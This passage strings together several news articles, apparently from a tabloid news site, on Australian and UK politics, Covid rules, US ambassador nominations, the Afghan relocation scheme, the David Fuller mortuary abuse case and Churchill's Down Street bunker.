worse, eating a snag sideways or calling trams light rail,' a fourth man joked. 'I really want you to win but you don't help yourself with such a basic blunder with the locals,' another man said. Dozens of indignant locals were quick to retweet Mr Albanese and point out the 'lightrail' had been called 'trams' for over a century (pictured, a Melbourne tram in August) 'He is taking a tongue in cheek stab at Sydney's failed light rail network. I'm a Melburnian and I approve,' one user suggested on Twitter (pictured) Other users leapt to Mr Albanese's defence, with one user suggesting the tweet was not as tone deaf as people thought (pictured, a tram passenger on Bourke Street in Melbourne) However, others leapt to Mr Albanese's defence, with one user suggesting the tweet was not as tone deaf as people thought. 'Taken in its context, it's the correct term,' one man said. 'He is taking a tongue in cheek stab at Sydney's failed light rail network. I'm a Melburnian and I approve.' 'Light rail between Port Melbourne and St Kilda. Trams on the old rail line. Officially called light rail in the beginning,' another woman stated. 'He is standing next to the 96 route (St Kilda) in Bourke st. Port Melbourne and St Kilda were train routes modified into light rail,' a third agreed. Others appeared miffed Mr Albanese had insinuated trams had come to a standstill during periods of Melbourne's 267-day lockdown in his tweet. Others appeared miffed Mr Albanese had insinuated trams had come to a standstill during periods of Melbourne's 267-day lockdown in his tweet (pictured, lightrail in Sydney) 'Trams have always been running mate,' one man replied to the Labor leader. 'Our trams have never stopped. In fact our public transport has been running normally throughout the pandemic,' another said. 'When were our *trams* not on track?' a third questioned. Mr Albanese faces a close election battle against the Prime Minister, with the poll expected in May. Wealthy Australians have rushed to book private charter flights to take holidays in Queensland, avoiding the possibility of positive Covid cases on commercial flights. The fears of the mega-rich holiday-makers were borne out on Tuesday evening when hundreds of passengers on two Virgin flights in Queensland were suddenly asked to quarantine for two weeks over Christmas after a positive person flew on both flights. A backflip yesterday by the Queensland government and health authorities saw the majority of the travellers reclassified from 'close' to 'casual contacts' so that they did not need to spend Christmas in self-isolation. KIIS1065 radio star Kyle Sandilands is one of those who has headed north out of Sydney on board a private jet. Sandilands, his girlfriend Tegan Kynaston and his dogs were seen on social media boarding a private jet headed for Far North Queensland earlier this week. Flight Centre's Graham Turner, majority owner of charter operator Avmin, said the private jet business had never been busier as cashed-up people spent thousands of dollars to avoid crowded flights Charter of a private jet to fly from Sydney to Queensland starts at approximately $5000 Graham Turner, the founder of travel booker Flight Centre and majority owner of charter operator Avmin, told the Courier Mail the private jet business had never been busier as cashed-up people spent thousands of dollars to avoid crowded flights and the possibility of quarantine if exposed to a positive Covid case. 'There are plenty of people doing it,' he said. 'Thats the sort of lengths that people are willing to go to. 'They dont want to take the risk of winding up in isolation or quarantine for two weeks.' Mr Turner said the cost to hire a private jet for a trip from a southern state to Queensland 'started' at $5000. On Wednesday Queensland Health Minister Yvette D'Ath and Chief Health Officer Dr John Gerrard were forced to clarify that people travelling on board flights into Queensland where a positive Covid case was detected will in future be classified as casual contacts, unless they are travelling with the positive person, or sitting two rows in front or behind. Casual contact do not need to self-isolate, but will be asked to take a PCR test, isolate until they receive a negative result and monitor for symptoms for 14 days. The decision to quarantine all those on board the two flights had meant hundreds would have missed Christmas, sparking outrage from a range of prominent people including ABC host Leigh Sales, Channel Nine presenter Tracy Grimshaw and Prime Minister Scott Morrison. Fears of mega-rich holiday-makers booking private charters were borne out on Tuesday evening when hundreds of passengers on two Virgin flights in Queensland were suddenly asked to quarantine for two weeks over Christmas after a positive person flew on both flights On Tuesday evening Queensland Health announced on its website that passengers on board flights VA1105 from Newcastle to Brisbane and VA375 from Brisbane to Townsville, both on Monday, December 13, were close contacts of a positive case and would need to isolate until December 27. The infected person travelled on the flight from Newcastle to Brisbane after visiting an exposure site in Newcastle. He then flew onto Townsville but did not spend significant time in the community while infectious. Ms D'Ath revealed yesterday that the passengers on the two Virgin flights had not even been contacted by Queensland contact tracers but the isolation advice had been published on the Queensland Health website. The decision to quarantine people on two Queensland flights was attacked by ABC 7.30 host Leigh Sales, among others 'What is the basis of Qld locking up planeloads of vaxed people for Christmas without warning or precedent?' tweeted Ms Sales The decision created immediate backlash, with ABC's 7.30 host tweeting: 'Flights have been going between NSW and Vic for months - has there been a single superspreader event on a flight relating to a Covid case?' 'What is the basis of Qld locking up planeloads of vaxed people for Christmas without warning or precedent?' Queensland is on edge since re-opening its borders last Monday to interstate travellers from declared 'hotspots' such as NSW, Victoria and the ACT. Premier Annastacia Palaszczuk, Ms D'Ath and Dr Gerrard have all repeatedly warned that the state's relatively low number of Covid cases will not last now that border restrictions have eased. On Tuesday Dr Gerrard said it was 'inevitable' that more cases of Covid would be detected in the state and that a mask mandate for people meeting indoors would likely be reintroduced if community transmission increased in Queensland. '[But] at this stage we are not seeing evidence of sustained community transmission,' he said. On Monday he said he expected to see 'more than hundreds' of cases within the next few months. Leigh Sales has shared her theory for why Covid case numbers may be rising ahead of Christmas. The ABC host questioned whether high testing numbers prompted by travel requirements are behind the recent spike in NSW. 'Queues for covid testing in Sydney are suddenly long, partly because of people needing a test to travel,' she wrote on Twitter. 'Is it possible that's why case numbers are up - catching more asymptomatic people who otherwise would be invisible?' ABC host Leigh Sales has shared her theory for why Covid case numbers may be rising ahead of Christmas Testing numbers have been steadily climbing in NSW, reaching 104,501 on Wednesday, the highest figure since October 13. South Australia, Queensland and Tasmania are requiring negative tests for inter-state entry. Poll Should New South Wales go back into lockdown as Covid cases surge? Yes No Should New South Wales go back into lockdown as Covid cases surge? Yes 1449 votes No 2329 votes Now share your opinion It comes as the number of Covid-19 cases in NSW is expected to increase again after the highest count in more than three months, with predictions infections could hit 25,000 a day in January. The state reported 1,360 cases from 104,501 tests on Wednesday, prompting NSW Premier Dominic Perrottet to repeat his call for the focus to shift to people in hospitals and ICU, of which there were 166 and 24 respectively. While hospitalisations generally lag infection spikes, Mr Perrottet has 'complete confidence' the hospital system will cope thanks to the state's 93.2 per cent full vaccination coverage. The Omicron variant is believed to be behind an increasing number of cases, with Newcastle and Sydney seeing a surge. The number of Covid-19 cases in NSW is expected to increase again after the highest count in more than three months (pictured are crowds at Bondi Beach) Covid cases spiked on Wednesday with fears they will continue to grow (pictured swimmers at Bondi beach) More than a quarter of the new cases were in the Hunter region, following super spreader events in Newcastle. NSW Health on Wednesday night issued an alert for a new venue of concern in that city - the Cambridge Hotel on Hunter Street. Anyone who attended the hotel between 6.30pm on Friday and 2.30am on Saturday is considered a close contact of a positive Covid case who was there and should get tested and isolate for seven days. All household contacts of close contacts should also be tested and self-isolate until a negative result is received. 'It is likely some of these cases have the Omicron variant of concern,' NSW Health said in a statement. There have been 110 confirmed cases of Omicron in NSW since the first recorded infection in late November. NSW Health Minister Brad Hazzard warned Covid-19 cases are going to continue to rise, with modelling showing they could hit 25,000 a day by the end of January if the reproduction rate climbs. NSW recorded its highest daily total in three months on Wednesday with 1,360 infections He says the high case rate should encourage people to get booster shots, which 9000 people did on Tuesday. Having two shots of a vaccine is not believed to reduce the transmissibility of the Omicron variant but does protect against more severe disease. Booster shots are available for people who received their second shot five or more months ago. Wednesday's was the highest daily tally since September 11, when much of the state was still under lockdown. It came on the day restrictions on unvaccinated people, mask wearing mandates and QR code check-ins were dropped in most settings. On Wednesday, border restrictions on what had previously been eight southern African countries of concern were eased. Arrivals who have been in those countries are now under the same rules as all other international travellers. The rebels are haemorrhaging support, declared a bullish minister just an hour before 100 Tory MPs delivered the biggest bloody nose of Boris Johnsons premiership. As an illustration of the disconnect between a dysfunctional government machine and the increasingly mutinous Tory backbenches, the optimistic prediction was hard to beat. The hapless minister was emerging from a hastily convened meeting of the 1922 Committee at which rebel MPs listened politely to the PM as he made a last-ditch attempt to win them over. Mr Johnson explained he had absolutely no choice but to implement his Covid Plan B, given the dire warnings and agreed to their central demand that Parliament would be recalled if further curbs are needed this Christmas. I did my best, he told reporters as he emerged from the wood-panelled room. But within the hour, the rebels had calmly pocketed the concession and voted against him anyway. He tried to give it the old magic, and he came with a big concession, said one MP. But people have had enough. He needs to change or go, and he hasnt changed for 40 years. Mr Johnson explained he had absolutely no choice but to implement his Covid Plan B, given the dire warnings and agreed to their central demand that Parliament would be recalled if further curbs are needed this Christmas Sir Geoffrey Clifton-Brown, treasurer of the 1922 Committee, declared that the prospect of a New Year leadership contest was now on the cards. But for many rebel MPs, the vote itself was strangely cathartic. All this stupid talk of leadership challenges is completely overblown, at least for now, said one former Cabinet minister. This was a wake-up call to Boris that he needs to sort out the shambles he is presiding over. If he doesnt, then the party will eventually decide it is going to lose under him and act accordingly. But we are not at that point yet. Nevertheless, potential rivals are circling. Chancellor Rishi Sunak is quietly letting it be known to Tory MPs that he argued against the introduction of Plan B at this stage. Foreign Secretary Liz Truss is hosting drinks receptions for potential supporters at a discreet private members club in Mayfair. In a further sign of Miss Trusss vaulting ambition, she released images of her Christmas card yesterday in which she strikes a pose so regal that observers joked she had moved on from wanting to be prime minister and now hopes to succeed the Queen. In a further sign of Miss Trusss vaulting ambition, she released images of her Christmas card yesterday in which she strikes a pose so regal that observers joked she had moved on from wanting to be prime minister and now hopes to succeed the Queen Matters could get much worse when the voters of North Shropshire go to the polls today. The picturesque constituency has returned a Conservative MP for more than 200 years. In 2019, former Cabinet minister Owen Paterson secured a majority of almost 23,000. But the Tory campaign is struggling against a backdrop of the sleaze allegations triggered by Mr Patersons departure, and controversy about lockdown-busting parties in No 10 last Christmas. The latter has become such a hot topic on the doorstep that when candidate Neil Shastri-Hurst was cornered by veteran political reporter Michael Crick yesterday, he was unwilling to say, four times, whether he believes the PM is a man of honesty and integrity. One MP predicted that the letters will go in if the Tories fail to hold North Shropshire a reference to Tory rules that require 55 letters of no confidence to be sent to 1922 Committee chairman Sir Graham Brady to trigger a leadership contest. But most reckon the PM still has a little time to put his house in order before a trickle of letters becomes a flood, not least because a potential electoral disaster in North Shropshire is already being priced in. One Tory source said defeat was inevitable. Chancellor Rishi Sunak is quietly letting it be known to Tory MPs that he argued against the introduction of Plan B at this stage An even bigger problem is posed by the looming Omicron crisis. A Downing Street insider voiced frustration yesterday at the opposition to the Governments watered-down Plan B proposals, which almost no-one thinks will be enough to halt the mutant strain. They just dont get it, said the source a sentiment echoed by former health secretary Jeremy Hunt, who said Tuesdays vote felt like it was fighting yesterdays war the issue now is not whether we have Covid passes but whether nightclubs are able to open at all. Nevertheless, the scale of the opposition seems certain to make the PM think twice about imposing more stringent measures. They just dont get it, said the source a sentiment echoed by former health secretary Jeremy Hunt, who said Tuesdays vote felt like it was fighting yesterdays war A Cabinet source said: I dont see how it will be possible to bring in anything else unless there is very clear evidence that Omicron is leading to hospitalisations and deaths. All of this comes against a backdrop of fear inside No 10 where staff are anxiously waiting to hear if they will be thrown to the wolves when Cabinet Secretary Simon Case reports back on the now notorious party culture in the coming days. Insiders are furious with the BBC for the way it has seized on claims in the Labour-supporting Daily Mirror about parties in No 10. But they concede the row has cut through to the public. Friends of the PM acknowledge he looks knackered not helped by the arrival last week of his seventh child. One Cabinet minister believes the PM could even quit if his MPs launch a concerted bid to force him out. Everyone needs to calm down, the minister said. Think of the endless crises we were in under Theresa May. That said, if it did come to it I think he might walk away rather than face the psychodrama of a contest. Some days he seems like hes had enough. Opposition to Mrs Mays reign was focused largely among the partys Brexiteers. Boris, by contrast, has got critics everywhere he looks. Opposition to Mrs Mays reign was focused largely among the partys Brexiteers. Boris, by contrast, has got critics everywhere he looks Many Brexiteers who helped sweep him to office are now bitterly opposed to his Covid policies. Old allies of Mrs May, such as Damian Green, Liam Fox and Sir Charles Walker, were also prominent among the rebels. Mrs May abstained, doing nothing to discourage speculation she is quietly encouraging a Project Revenge operation against the man who helped force her from office. Worryingly for No 10, the rebellion included a large number of MPs drawn from the 2019 intake, who might normally be expected to stay loyal. Louie French voted against the Government less than a fortnight after being elected in the Bexley by-election. The whipping operation is broken, observed one senior minister. They seem to be totally blindsided by the level of anger over this and were slow to react even when it became glaringly obvious. Old friends say Mr Johnson needs a rest, but still back him to bounce back. The situation is not irrecoverable, said one of his oldest allies. No one is better at getting out of a tight corner. My advice to him would be to use this opportunity to clear the decks. Get every single piece of bad news out there now, have a good Christmas holiday, hire some big hitters to beef up No 10 and get back to his post-Brexit agenda refreshed in the New Year. Sage advice. But with the Omicron onslaught approaching fast, the chances of the Prime Minister getting a Christmas break to clear his head and get on top of the malfunctioning government machine look remote. The Metropolitan Police have been urged to investigate a lockdown-busting Christmas party attended by ex-London mayoral hopeful Shaun Bailey that took place in the basement of Conservative Party HQ. Mr Bailey yesterday quit as chairman of the London Assembly's police and crime committee after the Mirror published a photo which showed him posing with dozens of Tory aides at the party on December 14, when London was in Tier 2 restrictions. Labour, Lib Dem and Green Party politicians on the London Assembly have written to Met Police commissioner Cressida Dick to demand an investigation. 'These latest images and reports regarding the alleged party at Conservative HQ seem to indicate a clear breach of the regulations,' they wrote. Transport Secretary Grant Shapps yesterday told Sky News it was 'absolutely right' that Mr Bailey had resigned his role, and it was 'wrong to have held a party'. Downing Street added that Prime Minister Boris Johnson shared the view that the party was 'unacceptable.' Speaking to MailOnline's Dan Wootton on GB News last night, Mr Bailey apologised for attending the party and called it 'an error of judgement'. But he then insisted the group was 'in a workplace bubble' and that he was only there to collect paperwork before going for an interview with BBC Newsnight. He claimed he was only there to pose for the photo, but said he regretted not telling his colleagues that they were 'going too far'. Eight days after the party, Mr Bailey went on Twitter to urge people to follow the rules, saying the restrictions were 'tough on every Londoner'. The police were urged last night to investigate a lockdown-busting party that was held in the basement of the Conservative Party's headquarters by former London mayoral candidate Shaun Bailey and his campaign team Mr Bailey (pictured with Education Secretary Nadhim Zahawi) yesterday stepped down as chairman of the London Assembly's crime committee, but remains on the committee, after a leaked photograph of the party was published 'The first thing to say is I want to start with an apology, whatever happens it was an error of judgement,' he told GB News. 'I want to own that. I had a young team, they had been working very hard for months at a time, and I came back from an event and they were there all set up ready to go. And I spoke to them and then we took the infamous photo. 'I wish at that point I'd said ''hold on a second, we're straying here, we're going too far'', but I didn't, and I want to own that because yes I had senior members of my team, but it is my team and I should have owned that. I just want to take that on board. 'The other thing to say is that we were in a workplace bubble, we were working together, it felt quite natural. Transport Secretary Grant Shapps yesterday told Sky News it was 'absolutely right' that Mr Bailey had resigned his role and it was 'wrong to have held a party' Cabinet Secretary Simon Case has been tasked with investigating alleged gatherings or parties held in Government buildings during restrictions. It has been suggested he could come back with his findings as early as this week Mr Bailey quit as chairman of the London Assembly's Police and Crime Committee shortly before The Mirror published a photo of him and other Tory aides at a party in Conservative HQ 'I had been earlier that day I'd had a really busy day, I'd just come from a string of four interviews, I'd come back to look at some paperwork to go off to be on Newsnight so I tootled off. So I wasn't there long, but the point was I was there long enough and I could and should have said ''hold on chaps, girls, we're going the wrong way with this'''. He tweeted last night: 'I want to apologise unreservedly for attending a gathering held by some of my staff in my campaign office last December.' Mr Johnson attended yet another Downing Street leaving do in the run-up to Christmas last year, it can be revealed. The Prime Minister gave a speech paying tribute to a departing military attache at the gathering inside No10. When reading their children a bedtime story, many parents enjoy turning to classic writers such as Beatrix Potter, Enid Blyton and Roald Dahl. But now a major publisher is calling on them to 'be more adventurous' and pick up more modern books which deal with topics such as diversity, homelessness and the environment. Oxford University Press (OUP) is urging parents to 'broaden the types of books' they pick at story time 'to prompt questions and build greater understanding of global issues'. The call comes after new OUP research found that nearly two thirds (63 per cent) of UK parents prefer to read their children books they enjoyed in their own childhood, rather than choosing newer titles. The original Peter Rabbit is an icon of children's literature, but should parents be 'broadening' the books they read to their children to reflect today's issues? Enid Blyton's Famous Five stories and Roald Dahl's Matilda have embedded themselves as family classics When asked which book or author they most enjoyed reading to their children, parents overwhelmingly named Roald Dahl, who wrote Matilda and James And The Giant Peach. Stories from Enid Blyton, such as Noddy and The Famous Five, and Beatrix Potter, who created Peter Rabbit and Mrs Tiggy-Winkle, also proved popular. And Astrid Lindgren's Pippi Longstocking remained a firm favourite. Other more recent picks included Julia Donaldson, Michael Morpurgo and Valerie Thomas's Winnie the Witch. Almost four in ten (37 per cent) parents said they did not know how to find out what the latest books are and almost half (47 per cent) prefer to re-read books to their child, rather than look for something new. And it's not just parents who would prefer to stick to something familiar. Almost six in ten (56 per cent) said their children preferred them to revisit the same books at story time. Stella and the Seagull by Georgina Stevens and Izzy Burton is a trailblazer in modern children's literature; as is Ben Davis' The Soup Movement, which tackles illness and moving home Pirate Mums by Jodie Lancet-Grant looks at the diversity of modern families, while Tim Allman's Max Takes a Stand follows a bold, environmental hero Now the OUP has put together a list of books that it recommends to help children learn about 'wider society'. These include The Pirate Mums by Jodie Lancet-Grant, about a boy whose mothers are both pirates, and Max Takes A Stand by Tim Allman, about a child trying to save the planet. Bear Shaped by Dawn Coulter-Cruttenden hopes to teach children about loss while Jon Burgerman's Everybody Worries offers support during the coronavirus crisis. Nigel Portwood, OUP chief executive, said it was 'wonderful' that classics continued to be popular with families but he added that reading is a 'valuable tool' to help children understand 'societal issues'. President Joe BIden named a new tranche of ambassador nominations on Wednesday, including Caroline Kennedy for Australia and former figure skater Michelle Kwan to Belize. Both women must be confirmed by the Senate. Kennedy is the daughter of President John F Kennedy and formerly served as Barack Obama's ambassador to Japan. She threw her support behind Biden relatively early in the crowded 2020 Democratic primary process. In a Boston Globe editorial to announce her endorsement, she praised Biden for his long career as a public servant and fondly recalled Biden visiting Tokyo as vice president while she was ambassador. Kennedy in a statement offered gratitude to Solomon Islanders and Australian coast watchers in the Pacific who rescued her father during World War II after his crew's motor torpedo boat was sunk by the Japanese in August 1943. 'If confirmed, I will work hard to repay this debt,' she said. 'I look forward to collaborating with the Government of Australia to strengthen our alliance, improve global health and increase vaccine access during this terrible pandemic and to address the urgent climate crisis. I am excited to get to know the Australian people, learn about their fascinating country and share with them what I love most about America.' Joe Biden named Caroline Kennedy as ambassador to Australia - he's seen with her above in 2013 when he was vice president and she was ambassador to Japan Biden nominated former figure skater Michelle Kwan as ambassador to Belize - she campaigned for him in 2020, as seen above Biden is struggling to his ambassadors confirmed because of Republican holds in the Senate - by last week, just 16% of the Biden administration's ambassadors were confirmed and 54 ambassador nominations were languishing on Senate floor Her appoinment came on the same day the National Archives released more than 1,500 previously classified JFK assassination files, including documents about killer Lee Harvey Oswald's contact with a KGB agent two months before the shooting. The files were released after months of delays by Biden who had promised to make them public but then stalled, claiming COVID backlogs was the reason. Biden appointed another member of the Kennedy clan, Victoria Kennedy, an attorney and the widow of Sen. Ted Kennedy, to serve as his ambassador to Austria. The Senate confirmed her nomination in October. Kwan, a two-time Olympic medalist, was also an early supporter of Biden's successful White House run, joining his campaign in 2019 as surrogate director. Kwan was named the State Department's first public diplomacy envoy in 2006. Kwan currently serves as the treasurer and a board member of Special Olympics International. Nominees do not become ambassadors until they are confirmed by the Senate. And Secretary of State Antony Blinken made a plea to the Senate on Tuesday to speed up the confirmations of Biden's nominees to the post of ambassador, saying delays hampered efforts to tackle foreign policy challenges. By last week, just 16% of the Biden administration's ambassadors were confirmed, Blinken said, compared with the level of 70% to 90% by the same point in the three previous administrations. 'This is a huge problem,' Blinken told a news conference in Jakarta, the first stop on a Southeast Asia trip that will cover Malaysia and Thailand. 'For the sake of our national security, the Senate must act,' he said. Caroline Kennedy, the daughter of President John F Kennedy, was Obama's ambassador to Japan; she's seen with him on the campaign trail in 2008 Michelle Kwan is a two-time Olympic Gold Medalist Both Caroline Kennedy (left) and Michelle Kwan (right) must be confirmed by the Senate before taking up their ambassador position Republican Senator Ted Cruz of Texas has put a hold on Biden's nominees as he wants the president to impose sanctions that would halt Russia's Nord Stream 2 gas pipeline. Cruz has wielded power by being a lone holdout on a fast-track confirmation process that requires consent by all 100 senators for non-controversial nominees. And, in November, Republican Senator Marco Rubio put a hold on Nicholas Burns, Biden's nominee to be U.S. ambassador to Beijing. Democratic leaders are in talks with Republicans to break the stalemate as 54 ambassador nominations languish in Senate. The White House has slammed the GOP moves. 'Instead of putting politics aside, Senate Republicans have led an unprecedented effort of obstruction by blocking dozens of President Biden's nominees and preventing them from advancing America's national security interests,' said White House deputy press secretary Karine Jean Pierre on Wednesday. 'It's long past time for GOP senators to get out of the way and let the Senate quickly confirm these national security nominees so they can advocate for the interests of the American people around the world,' she added. The Home Office was last night accused of betrayal by narrowing the criteria for Afghans seeking refuge from the Taliban. The new rules were laid out in a letter filed to the Commons library on Tuesday rather than being announced in the House or by press release. 'Ministers have quietly made it much harder for Afghans who worked alongside us to enter the UK,' said Dan Jarvis, Labour MP and former paratrooper. 'It is an utterly contemptible move that will lead to people being killed, including brave Afghans who stepped forward because we asked them to serve.' The changes to the Afghan Relocations and Assistance Policy mean those directly employed by a UK government department or the military must have a 'high and imminent risk' to their life to be able to come to the UK. Under the previous rules, they needed only show an 'imminent' threat. UK military personnel board a A400M aircraft departing from Kabul on August 28 earlier this year 'Ministers have quietly made it much harder for Afghans who worked alongside us to enter the UK,' said Labour MP Dan Jarvis Mr Jarvis is a former paratrooper. He said: 'It is an utterly contemptible move that will lead to people being killed, including brave Afghans who stepped forward because we asked them to serve' Another major change means the scheme will now be limited to those who can prove they have 'furthered the UK's military and national security objectives'. The change comes just weeks after Boris Johnson promised a 'warm welcome' to Afghans who assisted UK forces or worked with the Afghan government. Johnny Mercer, a Tory MP who did three tours of service in Afghanistan, said: 'I'm extremely concerned that now the spotlight has shifted, we are not doing what we said we would for the people we promised to look after. 'The Defence Secretary, the Prime Minister, the Home Secretary, all have made a big play of saying how we will look after these people, and yet thousands of them are still in hotels with their children, and now this. It is truly shameful.' Rafi Hottak, who was blown up in Helmand while interpreting for UK troops, said: 'This can only be seen as another betrayal of those who risked so much for Britain and are targets because of it. 'To change and tighten a policy with so many waiting to hear if they will be rescued is simply unfair.' Thousands of Afghans who worked with the British across 20 years are said to be still waiting to hear if their applications under ARAP will be approved despite some applying up to six months ago. One woman who worked as a teacher for the British Council and applied to ARAP two months before the Taliban swept into Kabul wept when she heard of the changes which came in with immediate effect. She said: 'How can an official sitting in the UK honestly and accurately access the risk to someone in hiding in Afghanistan?' Since taking over the country in August, the Taliban have been hunting and killing those who aided the West. The Taliban were 'invited into Kabul' The Taliban didnt take Kabul they were invited in, claimed Afghanistans former president. Hamid Karzai, who led for 13 years after 9/11, said he had no choice but to open the gates to the militants after those in charge including Ashraf Ghani, his successor, fled. Mr Karzai said the exodus scuttled a last-minute push for a negotiated agreement. He said the Taliban said its gunmen would remain outside the capital until a deal was struck but by August 15, there was no official present at all. Advertisement More than than 100 former Afghan national security forces and others have been killed since the takeover. Pictured: Members of Afghanistan's security forces are seen in Herat on August 6, days before the Taliban takeover Sara de Jong of the Sulha Alliance, which campaigns for interpreters, said ARAP applicants would now suffer twice: from the backlog and the change in rules. The Mail's award-winning Betrayal of the Brave campaign has highlighted the cases of dozens of former military translators and Afghans who worked for the UK but were not airlifted out. Victoria Atkins, minister for Afghan resettlement, said: 'We undertook the UK's biggest and fastest emergency evacuation in recent history, helping over 15,000 people to safety from Afghanistan who we are continuing to support. 'We are now updating the ARAP immigration rules to make clear who is eligible to apply under the scheme, enable more families to remain together, and offer support to who need it most. 'The Afghan citizens resettlement scheme will soon open and is one of the most generous schemes in our country's history.' The change is unlikely to affect translators as they all pass the 'high risk' test but will affect many others unable to escape so far. Barely six weeks have passed since Edward was informed that his 100-year-old mother had become David Fullers oldest victim; she was one of at least 100 women and girls the electrician raped or sexually abused while they lay unattended in a hospital morgue. Every night since being told the horrifying, incomprehensible news, her 72-year-old son has spoken to her in his prayers. I say to her, Were going to get justice for you and all the others, Mum, he said in an exclusive interview with the Daily Mail. Edward, whose name we have changed to protect his late mothers identity, is one of several devastated relatives whose loved ones Fuller defiled that have spoken to the Mail this week. She was lying there, unable to defend herself. Its impossible to take in that something so evil could have happened to her. But what form should justice take for the families of the dead women who evil Fuller degraded? For yesterday, while the 67-year-old was handed a whole life sentence for the 1987 murders of Wendy Knell and Caroline Pierce, the punishment he was given for raping and sexually abusing at least 100 dead women and girls was just 12 years. While 67-year-old David Fuller (pictured) was handed a whole life sentence for the 1987 murders of Wendy Knell and Caroline Pierce, the punishment he was given for raping and sexually abusing at least 100 dead women and girls was just 12 years Amanda Miah (above), whose mother Sonia was abused by Fuller after she died aged 54, in 2018, told ITVs Meridian News: I have the picture of my mum behind the glass and I thought she was safe. And she was just violated. Their outraged relatives know that while he will spend the rest of his life behind bars, it is not because he is being punished for the horror he inflicted on their loved ones. You raped my baby, said one mother yesterday, as she addressed the killer during a victim impact statement at Maidstone Crown Court. She couldnt say no to the dirty 66-year-old man who was abusing her body. I feel guilty I left her there. The extent of Fullers wicked depravity was laid bare as she recalled her daily visits to her nine-year-old daughter after she tragically died of natural causes. She brushed her hair and dressed her and surrounded her with toys as well as a loving letter. Fuller, who stole into the post-mortem room after the mother had left, saw all these precious, deeply personal items, while he filmed his despicable acts of sexual violence against her daughter. David, you know who I am because you read the letter I wrote to my baby, she said. I will not enjoy my life again. Her death was unfair and heartbreaking but it was a natural thing that I was starting to come to terms with. This unnatural sick pain I will never get over. She was among the traumatised, grief-stricken families who addressed the court yesterday. As well as demanding an overhaul in the law - the maximum sentence for necrophilia in the UK is just two years - his victims families now fear that a promised government inquiry will also be a whitewash. Many of them had pinned their hopes for justice on a full statutory public inquiry to uncover the truth about the worst cast of necrophilia in legal history and were told that they would be closely involved. But more than a month after Health Secretary Sajid Javid gave assurances in Parliament that they would be consulted, they have still not been contacted. While the inquiry will be held in public, its non-statutory status means families have no automatic rights of involvement, including the right to legal representation. A DNA breakthrough last year finally cracked one of Britains longest unsolved murder cases, identifying Fuller as the killer of Wendy Knell, (right) 25, and Caroline Pierce, 20, who were beaten, strangled and then sexually assaulted in 1987 in Tunbridge Wells While searching Fuller's home in Heathfield, East Sussex, police found hard drives containing a library of unimaginable sexual depravity. There were 14 million indecent images, including videos of him abusing corpses at mortuaries at the now-closed Kent and Sussex Hospital in Tunbridge Wells Legal aid is not available to them and requests for financial assistance from the Department of Health have also been ignored. Yet Fuller received 46,000 in legal aid for his case. Further concerns have been raised over the appointment of a former NHS boss to lead the inquiry into how Fuller managed to gain regular access to secure, locked hospital mortuaries over a 12-year period. This doesnt feel like justice, said Edward. We are victims here too but we werent able to have our day in court. His mother, who was born in 1910 and was just shy of her 101st birthday when she died, survived one of the worst bombings of the Blitz. Yet now what endures is the horror enacted upon her lifeless corpse at Tunbridge Wells Hospital in Kent just days before her funeral in 2011. Hearing what he had done was like a knife to my heart, said Edward. David Fuller's hospital pass card used to access the mortuaries where he carried out his abuse on around 100 dead bodies A DNA breakthrough last year finally cracked one of Britains longest unsolved murder cases, identifying Fuller as the killer of Miss Knell, 25, and Miss Pierce, 20, who were beaten, strangled and then sexually assaulted in 1987 in Tunbridge Wells. The killings were known as the Bedsit Murders. While searching his home in Heathfield, East Sussex, police found hard drives containing a library of unimaginable sexual depravity. There were 14 million indecent images, including videos of him abusing corpses at mortuaries at the now-closed Kent and Sussex Hospital in Tunbridge Wells, where he worked from 1989, and its replacement Tunbridge Wells Hospital, where he moved in 2010. Amanda Miah, whose mother Sonia was abused by Fuller after she died aged 54, in 2018, told ITVs Meridian News: I have the picture of my mum behind the glass and I thought she was safe. And she was just violated. Talking exclusively to the Mail, Sarah, who discovered eight weeks ago that her mother had also been one of Fullers victims, shares Edwards frustrations. A public inquiry was our way of trying to get some justice, said Sarah. To know now that its not necessarily going to be as transparent as a full public inquiry, Im mad about that. And I want to see a change in the law on sentencing for this terrible crime. We have heard so much about violent offences against women. Whether we are alive or dead, the offences should be the same. She is filled with violent anger towards Fuller, who raped her mother on the very day that she died, suddenly, of natural causes. Sarah knows that Fuller abused her mother for 24 minutes in the post-mortem room at Tunbridge Wells Hospital. Sarah is still haunted by the memory of what she said to other family members after her mothers lifeless body was taken there by paramedics who had tried to save her life. I said, Shell be safe now. Theyll look after her, she said. In the midst of the shock and horror of losing her out of the blue, I consoled myself with the thought that she was in safe hands. More than a month after Health Secretary Sajid Javid gave assurances in Parliament that they would be consulted, they have still not been contacted 'But while I was sitting with my family, grieving, he was doing that to her. Shed hardly taken her last breath. Another distraught relative told the Mail that Fuller had stolen everything, all my memories from me. Ive got nothing left to give. But he said that because no one from the inquiry had been in touch, I feel as though the whole inquiry is going to be a whitewash. In a statement yesterday, Mr Javid insisted: We have made good progress in establishing the independent inquiry. He said its chairman, Sir Jonathan Michael, has developed draft terms of reference and will engage with families on them in the new year before they are published. He said nothing about the issue of legal representation and aid. Thousands of people walk past every day without a flicker of recognition. Buses, taxis and cars rumble within yards of the entrance, oblivious to what lies beneath. But, here, more than 70ft below Londons Piccadilly is where Sir Winston Churchill took refuge from the relentless German bombing of 1940, sleeping on a makeshift camp bed, deprived of natural light and fresh air but, all the same and in typical Churchillian fashion, feasting on caviar, Perrier-Jouet champagne and 1865 brandy. Down Street is an abandoned London Underground station, formerly a stop on the Piccadilly Line between Hyde Park Corner and Green Park, which opened in 1907 and closed in 1931. But it went on to play a crucial role during World War II in protecting Churchill at the height of the Blitz because although Churchills War Rooms near Downing Street were underground and handy for the PM by virtue of their location, they were not bomb-proof. A direct hit would have been catastrophic. Now, more than 80 years later, Churchills secret Down Street bunker will open to visitors next month, offering a rare chance to see the warren of corridors, bedrooms, offices, dormitories, toilets, bathrooms, a 50-line telephone exchange and even a three-person lift: all of which, at the time, few knew existed. Come to think of it, hardly anyone knows of its existence today. Which is why the London Transport Museum, which is responsible for Down Street, clearly thinks its on to a good thing. Tickets, limited to 12 people at a time, cost a hefty 85 each plus a booking fee, or 80 for a concession. Thats more than double the cost of entry to the State Rooms at Buckingham Palace and twice the admission fee for the Tower of London. More than 70ft below Londons Piccadilly is where Sir Winston Churchill (pictured) took refuge from the relentless German bombing of 1940, sleeping on a makeshift camp bed, deprived of natural light and fresh air Well worth it is my conclusion after being given a torch-light sneak preview by Chris Nix, assistant director of the Transport Museum and author of Hidden London. Everything that made Down Street difficult as a Tube station particularly deep, lengthy passageways to the platforms made it great as a bunker, says Nix. In 1939, the station became the headquarters of the Railway 